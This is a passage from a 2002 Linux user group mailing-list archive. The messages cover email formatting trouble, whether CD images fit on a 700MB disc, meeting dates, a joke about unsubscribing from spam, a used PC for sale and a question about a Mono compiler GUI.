Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 6980 invoked by uid 1051); 1 Oct 2002 12:51:55 -0000 Received: from unknown (HELO ws3-5.us4.outblaze.com) (205.158.62.95) by 0 with SMTP; 1 Oct 2002 12:51:55 -0000 Received: (qmail 1902 invoked by uid 1001); 1 Oct 2002 12:51:32 -0000 Message-ID: <20021001125132.1901.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.15.99] by ws3-5.us4.outblaze.com with http for jjjm.1@email.com; Tue, 01 Oct 2002 06:51:32 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Tue, 01 Oct 2002 06:51:32 -0600 X-Originating-Ip: 12.84.15.99 X-Originating-Server: ws3-5.us4.outblaze.com Subject: [QCLUG] CD's X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 12:51:56 -0000 Hi Baldy, Where's "over here"? :-^/ Yuk, did my messages look as bad on your machine as they did on the web site???! Guess I won't be using the web email to send, any longer . . . hope this looks better--at least I kept it from HTML'ing it! Now I've messed with it more; how do I get it to break the long lines? I will let you know if I run into too much trouble getting it myself! Thanks! JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup From baldy@mchsi.com Tue Oct 01 15:00:15 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7388 invoked by uid 1051); 1 Oct 2002 15:00:15 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 1 Oct 2002 15:00:15 -0000 Received: from linux ([12.217.93.116]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20021001150011.GVWX3589.sccmmhc01.mchsi.com@linux> for ; Tue, 1 Oct 2002 15:00:11 +0000 Content-Type: text/plain; charset="iso-8859-15" From: Baldy To: qclug@qclug.org Subject: Re: [QCLUG] CD's Date: Tue, 1 Oct 2002 09:57:55 -0500 X-Mailer: KMail [version 1.4] References: <20021001125132.1901.qmail@email.com> In-Reply-To: <20021001125132.1901.qmail@email.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200210010957.55410.baldy@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 15:00:15 -0000 On Tuesday October 1 2002 07:51, Juanita Moore wrote: > Hi Baldy, > > Where's "over here"? :-^/ > > Yuk, did my messages look as bad on your machine as > they did on the web site???! Guess I won't be > using the web email to send, any longer . . . hope > this looks better--at least I kept it from HTML'ing > it! Now I've messed with it more; how do I get it to > break the long lines? > > I will let you know if I run into too much trouble > getting it myself! Thanks! > > JJ DOH over here in Rock Island sorry about that but I cover the QCA on a re= gular=20 basis looking for parts and fun things like that. --=20 Linux,chaos,and Mountain Dew a connection? From baldy@mchsi.com Tue Oct 01 15:00:59 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7435 invoked by uid 1051); 1 Oct 2002 15:00:58 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 1 Oct 2002 15:00:58 -0000 Received: from linux ([12.217.93.116]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20021001150058.GWBR3589.sccmmhc01.mchsi.com@linux> for ; Tue, 1 Oct 2002 15:00:58 +0000 Content-Type: text/plain; charset="iso-8859-15" From: Baldy To: qclug@qclug.org Subject: Re: [QCLUG] CD's Date: Tue, 1 Oct 2002 09:58:42 -0500 X-Mailer: KMail [version 1.4] References: <20021001125132.1901.qmail@email.com> In-Reply-To: <20021001125132.1901.qmail@email.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200210010958.42098.baldy@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 15:00:59 -0000 On Tuesday October 1 2002 07:51, Juanita Moore wrote: > Hi Baldy, > > Where's "over here"? :-^/ > > Yuk, did my messages look as bad on your machine as > they did on the web site???! Guess I won't be > using the web email to send, any longer . . . hope > this looks better--at least I kept it from HTML'ing > it! Now I've messed with it more; how do I get it to > break the long lines? > > I will let you know if I run into too much trouble > getting it myself! Thanks! > > JJ DOH sorry about that here is Rock Island. --=20 Linux,chaos,and Mountain Dew a connection? From baldy@mchsi.com Tue Oct 01 19:26:23 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8605 invoked by uid 1051); 1 Oct 2002 19:26:23 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 1 Oct 2002 19:26:23 -0000 Received: from linux ([12.217.93.116]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20021001192623.IUZV3589.sccmmhc01.mchsi.com@linux> for ; Tue, 1 Oct 2002 19:26:23 +0000 Content-Type: text/plain; charset="us-ascii" From: Baldy To: qclug@qclug.org Date: Tue, 1 Oct 2002 14:24:09 -0500 X-Mailer: KMail [version 1.4] MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200210011424.09720.baldy@mchsi.com> Subject: [QCLUG] Yikes X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 19:26:23 -0000 I have no idea what that was concerning the double post with 2 different=20 messages sorry about that. But hey I am old and slow what do you want? ;-= ) --=20 Linux,chaos,and Mountain Dew a connection? From vorlon@netexpress.net Wed Oct 02 18:43:23 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 11694 invoked by uid 1051); 2 Oct 2002 18:43:22 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 2 Oct 2002 18:43:22 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g92IhNIL019287 for ; Wed, 2 Oct 2002 13:43:23 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g92IhBAT019284 for qclug@qclug.org; Wed, 2 Oct 2002 13:43:11 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Wed, 2 Oct 2002 13:43:11 -0500 From: Steve Langasek To: qclug@qclug.org Message-ID: <20021002184310.GG18477@netexpress.net> Mail-Followup-To: qclug@qclug.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Subject: [QCLUG] Monthly meeting? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 02 Oct 2002 18:43:23 -0000 So meetings are the second Tuesday of the month, right? By my calendar, that means we're due for another physical get-together on the 10th. Usual hour & place? Steve Langasek postmodern programmer From gentoo@mchsi.com Thu Oct 03 23:55:11 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17480 invoked by uid 1051); 3 Oct 2002 23:55:11 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 3 Oct 2002 23:55:11 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20021003235504.FLOR7903.sccmmhc02.mchsi.com@laptop> for ; Thu, 3 Oct 2002 23:55:04 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris Date: Fri, 4 Oct 2002 10:06:27 -0500 User-Agent: KMail/1.4.3 To: qclug@qclug.org MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200210041006.27894.gentoo@mchsi.com> Subject: [QCLUG] joke "How To Unsubscribe from spam", Sept. 23, 2002 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 03 Oct 2002 23:55:12 -0000 this is pretty funny :) >>September 23, 2002 >> >>*How To Unsubscribe from spam* >> >>Though I know you all enjoy being on this list, should you ever want to >>unsubscribe from it please follow these simple instructions. >> >>To unsubscribe from this service you must first purchase a Craft-O-Mati= c >>Adjustable Subscription Cancellation Unit. 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Failure to comply with the >>unsubscribe policy will result in immediate termination of your >>subscription so please follow the above directions closely. >> --=20 life is linux=20 linux is life=20 From baldy@mchsi.com Fri Oct 04 01:47:14 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17764 invoked by uid 1051); 4 Oct 2002 01:47:13 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 4 Oct 2002 01:47:13 -0000 Received: from linux ([12.217.93.116]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20021004014715.FDCY3589.sccmmhc01.mchsi.com@linux> for ; Fri, 4 Oct 2002 01:47:15 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Baldy To: qclug@qclug.org Subject: Re: [QCLUG] joke "How To Unsubscribe from spam", Sept. 23, 2002 Date: Thu, 3 Oct 2002 20:45:00 -0500 X-Mailer: KMail [version 1.4] References: <200210041006.27894.gentoo@mchsi.com> In-Reply-To: <200210041006.27894.gentoo@mchsi.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200210032045.00206.baldy@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 01:47:14 -0000 On Friday October 4 2002 10:06, Noah Justin Norris wrote: > this is pretty funny :) > > >>September 23, 2002 > >> > >>*How To Unsubscribe from spam* > >> > >>Though I know you all enjoy being on this list, should you ever want = to > >>unsubscribe from it please follow these simple instructions. > >> > >>To unsubscribe from this service you must first purchase a Craft-O-Ma= tic > >>Adjustable Subscription Cancellation Unit. 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Place = the > >>D cell battery and the eleven 9 volt batteries in the power chamber. > >> > >>The device should be calibrated before operation using the optional > >>digital corkscrew accessory pack prior to operation. Insert the digi= tal > >>corkscrew through the electronic combustion service chamber using > >>caution not to touch the reinforced tungsten igniter control module a= nd > >>quickly turn the inverter drive to 28.6 degrees. Turn the Craft-O-Ma= tic > >>Adjustable Subscription Cancellation Unit upside down and hit the bot= tom > >>plate with a 48-ounce ball-peen hammer while shaking the unit > >>vigorously. Force open the door to the incineration valve compartmen= t > >>and set the pressure gauge to 719 psi. Close the door and seal it sh= ut > >>with duct tape. The unit should now be properly calibrated and ready= to > >>use. > >> > >>Before activating the Craft-O-Matic Adjustable Subscription Cancellat= ion > >>Unit, you must first elevate it to a height of 229 feet above sea lev= el > >>to insure that the unit receives the proper oxygen level and barometr= ic > >>pressure. Point the aerial to 17 degrees north by Northeast to withi= n > >>the parameters of the Telstar GS-2 weather satellite and apply pressu= re > >>to the wing shaft on the southern most section of the modular > >>accelerator. Using the special ratchet adapter supplied with the uni= t, > >>rotate the heater core to the "on" position. > >> > >>The "on" position has been obtained when the green light begins to > >>flash, signifying that the red light is about to go off. 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From jjjm.1@email.com Fri Oct 04 02:50:39 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17974 invoked by uid 1051); 4 Oct 2002 02:50:39 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 4 Oct 2002 02:50:39 -0000 Received: (qmail 21778 invoked by uid 1001); 4 Oct 2002 02:51:05 -0000 Message-ID: <20021004025107.21777.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.14.27] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Thu, 03 Oct 2002 20:51:07 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Thu, 03 Oct 2002 20:51:07 -0600 X-Originating-Ip: 12.84.14.27 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Bui X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 02:50:39 -0000 -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup "Free price comparison tool gives you the best prices and cash back!" http://www.bestbuyfinder.com/download.htm From jjjm.1@email.com Fri Oct 04 02:52:50 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 18028 invoked by uid 1051); 4 Oct 2002 02:52:50 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 4 Oct 2002 02:52:50 -0000 Received: (qmail 23234 invoked by uid 1001); 4 Oct 2002 02:53:21 -0000 Message-ID: <20021004025321.23233.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.14.27] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Thu, 03 Oct 2002 20:53:21 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Thu, 03 Oct 2002 20:53:21 -0600 X-Originating-Ip: 12.84.14.27 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Burning iso's X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 02:52:51 -0000 One quick question: will the iso's available on the web usually fit on a 700M CD? I started getting worried when I saw the sizes reported as 728,xxx,xxx and 733,xxx,xxx!! JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup "Free price comparison tool gives you the best prices and cash back!" http://www.bestbuyfinder.com/download.htm From volunteer@revealed.net Fri Oct 04 03:28:39 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 18193 invoked by uid 1051); 4 Oct 2002 03:28:39 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 4 Oct 2002 03:28:39 -0000 Received: from revealed.net ([63.102.218.187]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Thu, 3 Oct 2002 22:28:20 -0500 Sender: volunteer Message-ID: <3D9D0B5F.4E927061@revealed.net> Date: Thu, 03 Oct 2002 22:30:39 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] Burning iso's References: <20021004025321.23233.qmail@email.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 03:28:39 -0000 Short answer: yes. You've just run into the "rounding game". If you don't like math, it'll give you a headache. Jim Juanita Moore wrote: > > One quick question: will the iso's available on the > web usually fit on a 700M CD? I started getting worried > when I saw the sizes reported as 728,xxx,xxx and 733,xxx,xxx!! > > JJ > -- > __________________________________________________________ > Sign-up for your own FREE Personalized E-mail at Mail.com > http://www.mail.com/?sr=signup > > "Free price comparison tool gives you the best prices and cash back!" > http://www.bestbuyfinder.com/download.htm > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From jjjm.1@email.com Fri Oct 04 04:45:11 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 18414 invoked by uid 1051); 4 Oct 2002 04:45:11 -0000 Received: from unknown (HELO ws3-1.us4.outblaze.com) (205.158.62.91) by 0 with SMTP; 4 Oct 2002 04:45:11 -0000 Received: (qmail 8435 invoked by uid 1001); 4 Oct 2002 04:45:20 -0000 Message-ID: <20021004044520.8434.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.14.20] by ws3-1.us4.outblaze.com with http for jjjm.1@email.com; Thu, 03 Oct 2002 22:45:20 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Thu, 03 Oct 2002 22:45:20 -0600 X-Originating-Ip: 12.84.14.20 X-Originating-Server: ws3-1.us4.outblaze.com Subject: [QCLUG] Re: Burning Iso's X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 04:45:11 -0000 Whew! Thanks, Jim! That's what I'd thought/hoped. Yes, I knew about rounding, but not just how high the bytes could go, y'know? Not a math whiz, that's for sure. Yuk. Exploder just exploded in my face--I'm on a different computer now . . . need to get some time to try those other suggestions and figure out if it really is hardware related. Been running this stuff for a while now, so who knows--guess it doesn't last forever, eh? May be time to build another! JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup "Free price comparison tool gives you the best prices and cash back!" http://www.bestbuyfinder.com/download.htm From vorlon@dodds.net Fri Oct 04 12:37:00 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19393 invoked by uid 1051); 4 Oct 2002 12:37:00 -0000 Received: from unknown (HELO netexpress.net) (64.22.192.2) by 0 with SMTP; 4 Oct 2002 12:37:00 -0000 Received: from quetzlcoatl.dodds.net (quetzlcoatl.dodds.net [64.22.202.19]) by netexpress.net (8.11.3/8.11.3) with SMTP id g94Cb0A11279 for ; Fri, 4 Oct 2002 07:37:00 -0500 X-Spam-Filter: check_local@netexpress.net by digitalanswers.org Received: by quetzlcoatl.dodds.net (sSMTP sendmail emulation); Fri, 4 Oct 2002 07:37:00 -0500 Date: Fri, 4 Oct 2002 07:37:00 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] Burning iso's Message-ID: <20021004123700.GA20272@quetzlcoatl.dodds.net> Mail-Followup-To: qclug@qclug.org References: <20021004025321.23233.qmail@email.com> <3D9D0B5F.4E927061@revealed.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="YiEDa0DAkWCtVeE4" Content-Disposition: inline In-Reply-To: <3D9D0B5F.4E927061@revealed.net> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 12:37:01 -0000 --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Oct 03, 2002 at 10:30:39PM -0500, Jim Hall wrote: > Short answer: yes. You've just run into the "rounding game". If you > don't like math, it'll give you a headache. 700MB: 700*1024*1024 734003200 bytes. Doesn't look like rounding to me -- looks like the size of the CD is being measured in real megabytes. Steve Langasek postmodern programmer > Juanita Moore wrote: > >=20 > > One quick question: will the iso's available on the > > web usually fit on a 700M CD? I started getting worried > > when I saw the sizes reported as 728,xxx,xxx and 733,xxx,xxx!! > >=20 > > JJ > > -- > > __________________________________________________________ > > Sign-up for your own FREE Personalized E-mail at Mail.com > > http://www.mail.com/?sr=3Dsignup > >=20 > > "Free price comparison tool gives you the best prices and cash back!" > > http://www.bestbuyfinder.com/download.htm > >=20 > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --YiEDa0DAkWCtVeE4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9nYtsKN6ufymYLloRAtJnAJ9tk+TEKfv8FpguwELWCTFuqaVslgCeKhyX bOoixx36sRsGYHH7gLtR2ms= =y06H -----END PGP SIGNATURE----- --YiEDa0DAkWCtVeE4-- From ray@qlilinux.com Fri Oct 04 16:28:13 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 20086 invoked by uid 1051); 4 Oct 2002 16:28:13 -0000 Received: from unknown (HELO artoo.qlitech.net) (12.217.140.249) by 0 with SMTP; 4 Oct 2002 16:28:13 -0000 Received: (from ray@localhost) by artoo.qlitech.net (8.11.6/8.11.6) id g94GRqg02010; Fri, 4 Oct 2002 11:27:52 -0500 X-Authentication-Warning: artoo.qlitech.net: ray set sender to ray@qlilinux.com using -f From: Ray Sanders To: "qclug@qclug.org" , Cedar Valley Linux Users Group , "lug@cialug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 04 Oct 2002 11:27:51 -0500 Message-Id: <1033748871.1916.26.camel@artoo.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] Last Cheap Box of the Year. X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 16:28:13 -0000 Several people expressed an interest in the "next" Demo Box we would be offering to LUG members.... Well, Here it is. Mid Tower Case (340W PS) ASUS A7A266 Motherboard AMD Athlon MP 1600 512MB PC2100 52X CDROM SB16 PCI 3Com 10/100 Geforce 4 MX440 10GB IDE HDD 100MB Zip Drive Rear Case Fan & Rounded Airflow Cables. SuSE 8.0 Personal (Boxed Version) No Floppy Drive, Keyboard or Mouse. This would be a great little gaming box, or something to try UT 2003 On. :-) Everything but the Motherboard/CPU/HDD is *NEW* First $625.00 takes it home with them, or gets it shipped to them for $25.00 :-) -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From compgod@mchsi.com Fri Oct 04 16:54:58 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 20250 invoked by uid 1051); 4 Oct 2002 16:54:56 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 4 Oct 2002 16:54:56 -0000 Received: from PROTHEUS (IDENT:W3ZHxZMUiIAQcafr+SVqGLv2INL4fHLf@PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g94Fu8L30528 for ; Fri, 4 Oct 2002 11:56:14 -0400 From: Dan To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 04 Oct 2002 11:56:05 -0400 Message-Id: <1033746974.29657.2.camel@PROTHEUS> Mime-Version: 1.0 Subject: [QCLUG] C# Compilers X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 16:54:58 -0000 I just downloaded the Mono compiler from Ximian but, I only have one problem. It doesn't come with a GUI. I know that is rather minor but, I am still trying to get comfortable with the command line. I was wondering if anybody knew a compiler that had a GUI or some kind of an interface that worked with Mono already. Thanks, Dan From compgod@mchsi.com Fri Oct 04 17:35:30 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 20449 invoked by uid 1051); 4 Oct 2002 17:35:29 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 4 Oct 2002 17:35:29 -0000 Received: from PROTHEUS (IDENT:tvSVvFieuAWbozdVeHkTY+aWRZCBIvp1@PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g94GaoS01449 for ; Fri, 4 Oct 2002 12:36:55 -0400 From: Dan To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 04 Oct 2002 12:36:49 -0400 Message-Id: <1033749415.1328.13.camel@PROTHEUS> Mime-Version: 1.0 Subject: [QCLUG] PGP Slideshow X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 17:35:30 -0000 I remember somebody did a presentation on PGP and Internet encryption. I was wondering if that person could send me the link to that again. Thanks, Dan From vorlon@netexpress.net Fri Oct 04 18:12:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 20596 invoked by uid 1051); 4 Oct 2002 18:12:07 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 4 Oct 2002 18:12:07 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g94IC8IL003950 for ; Fri, 4 Oct 2002 13:12:08 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g94IC86M003948 for qclug@qclug.org; Fri, 4 Oct 2002 13:12:08 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Fri, 4 Oct 2002 13:12:08 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] PGP Slideshow Message-ID: <20021004181203.GN2220@netexpress.net> Mail-Followup-To: qclug@qclug.org References: <1033749415.1328.13.camel@PROTHEUS> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1033749415.1328.13.camel@PROTHEUS> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 18:12:08 -0000 On Fri, Oct 04, 2002 at 12:36:49PM -0400, Dan wrote: > I remember somebody did a presentation on PGP and Internet encryption. I > was wondering if that person could send me the link to that again. Steve Langasek postmodern programmer From compgod@mchsi.com Fri Oct 04 20:40:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 21214 invoked by uid 1051); 4 Oct 2002 20:40:06 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 4 Oct 2002 20:40:06 -0000 Received: from PROTHEUS (IDENT:FLGRvdBj9XwZ8lczFsBZezOhnSW38cCi@PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g94JfSS01707 for ; Fri, 4 Oct 2002 15:41:33 -0400 Subject: Re: [QCLUG] PGP Slideshow From: Dan To: qclug@qclug.org In-Reply-To: <20021004181203.GN2220@netexpress.net> References: <1033749415.1328.13.camel@PROTHEUS> <20021004181203.GN2220@netexpress.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 04 Oct 2002 15:41:27 -0400 Message-Id: <1033760493.1693.1.camel@PROTHEUS> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 04 Oct 2002 20:40:08 -0000 Thanks Steve On Fri, 2002-10-04 at 14:12, Steve Langasek wrote: > On Fri, Oct 04, 2002 at 12:36:49PM -0400, Dan wrote: > > I remember somebody did a presentation on PGP and Internet encryption. I > > was wondering if that person could send me the link to that again. > > > > Steve Langasek > postmodern programmer > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From jjjm.1@email.com Sat Oct 05 01:17:21 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 21976 invoked by uid 1051); 5 Oct 2002 01:17:20 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 5 Oct 2002 01:17:20 -0000 Received: (qmail 8458 invoked by uid 1001); 5 Oct 2002 01:18:05 -0000 Message-ID: 